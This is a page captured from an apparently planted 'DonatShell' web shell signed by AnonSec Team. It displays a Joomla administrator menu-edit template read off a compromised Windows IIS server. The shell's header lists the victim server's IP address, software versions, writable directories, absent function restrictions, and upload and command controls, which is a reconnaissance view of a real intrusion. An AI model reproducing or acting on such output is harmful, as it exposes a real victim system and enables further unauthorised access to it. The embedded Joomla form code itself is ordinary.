DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/administrator/components/com_menus/views/menus/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/administrator/components/com_menus/views/menus/tmpl/edit.php
<?php defined('_JEXEC') or die('Restricted access'); ?>

<script language="javascript" type="text/javascript">
<!--
	function submitbutton(pressbutton) {
		var form = document.adminForm;

		if (pressbutton == 'savemenu') {
			if ( form.menutype.value == '' ) {
				alert( '<?php echo JText::_( 'Please enter a menu name', true ); ?>' );
				form.menutype.focus();
				return;
			}
			var r = new RegExp("[\']", "i");
			if ( r.exec(form.menutype.value) ) {
				alert( '<?php echo JText::_( 'The menu name cannot contain a \'', true ); ?>' );
				form.menutype.focus();
				return;
			}
			<?php if ($this->isnew) : ?>
			if ( form.title.value == '' ) {
				alert( '<?php echo JText::_( 'Please enter a module name for your menu', true ); ?>' );
				form.title.focus();
				return;
			}
			<?php endif; ?>
			submitform( 'savemenu' );
		} else {
			submitform( pressbutton );
		}
	}
//-->
</script>
<form action="index.php" method="post" name="adminForm">

<table class="adminform">
	<tr>
		<td width="100" >
			<label for="menutype">
				<strong><?php echo JText::_( 'Menu Type' ); ?>:</strong>
			</label>
		</td>
		<td>
			<input class="inputbox" type="text" name="menutype" id="menutype" size="30" maxlength="25" value="<?php echo htmlspecialchars($this->row->menutype); ?>" />			<?php echo JHTML::_('tooltip', JText::_( 'TIPNAMEUSEDTOIDENTIFYMENU' )); ?>
		</td>
	</tr>
	<tr>
		<td width="100" >
			<label for="title">
				<strong><?php echo JText::_( 'Title' ); ?>:</strong>
			</label>
		</td>
		<td>
			<input class="inputbox" type="text" name="title" id="title" size="30" maxlength="255" value="<?php echo $this->escape($this->row->title); ?>" />
			<?php echo JHTML::_('tooltip',  JText::_( 'A proper title for the Menu' ) ); ?>
		</td>
	</tr>
	<tr>
		<td width="100" >
			<label for="description">
				<strong><?php echo JText::_( 'Description' ); ?>:</strong>
			</label>
		</td>
		<td>
			<input class="inputbox" type="text" name="description" id="description" size="30" maxlength="255" value="<?php echo $this->escape($this->row->description); ?>" />
			<?php echo JHTML::_('tooltip',  JText::_( 'A description for the Menu' ) ); ?>
		</td>
	</tr>
	<?php if ($this->isnew) : ?>
	<tr>
		<td width="100"  valign="top">
			<label for="module_title">
				<strong><?php echo JText::_( 'Module Title' ); ?>:</strong>
			</label>
		</td>
		<td>
			<input class="inputbox" type="text" name="module_title" id="module_title" size="30" value="" />
			<?php echo JHTML::_('tooltip',  JText::_( 'TIPTITLEMAINMENUMODULEREQUIRED' ) ); ?>
		</td>
	</tr>
	<?php endif; ?>
</table>

	<input type="hidden" name="id" value="<?php echo $this->row->id; ?>" />
	<input type="hidden" name="option" value="com_menus" />
	<input type="hidden" name="task" value="savemenu" />
	<?php echo JHTML::_( 'form.token' ); ?>
</form>

Anon7 - 2022
AnonSec Team